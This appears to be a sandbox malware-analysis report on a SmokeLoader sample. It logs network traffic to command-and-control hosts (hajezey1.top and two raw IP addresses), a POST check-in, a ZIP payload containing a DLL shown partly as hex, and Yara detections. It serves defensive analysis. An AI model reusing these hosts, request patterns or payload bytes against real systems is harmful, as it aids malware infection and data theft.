61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 18:30:47 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rctoc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: hajezey1.top

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.7:49778 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 22.2.CD0D.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.irjbuft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.CD0D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.6EC5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.irjbuft.2bf15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.25Kf6vSBoq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.25Kf6vSBoq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.6EC5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.6EC5.exe.2c315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.irjbuft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.CD0D.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.irjbuft.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.25Kf6vSBoq.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.6EC5.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.418065622.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.462341902.0000000004791000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382786562.0000000001F70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.296771196.0000000002871000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.461574944.0000000002B80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.312112789.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.447688119.0000000004BA1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.434655880.0000000003000000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382804638.0000000001F91000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.311815156.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Source: 25Kf6vSBoq.exe, 00000001.00000002.257255262.0000000002E5A000.00000004.00000020.sdmp

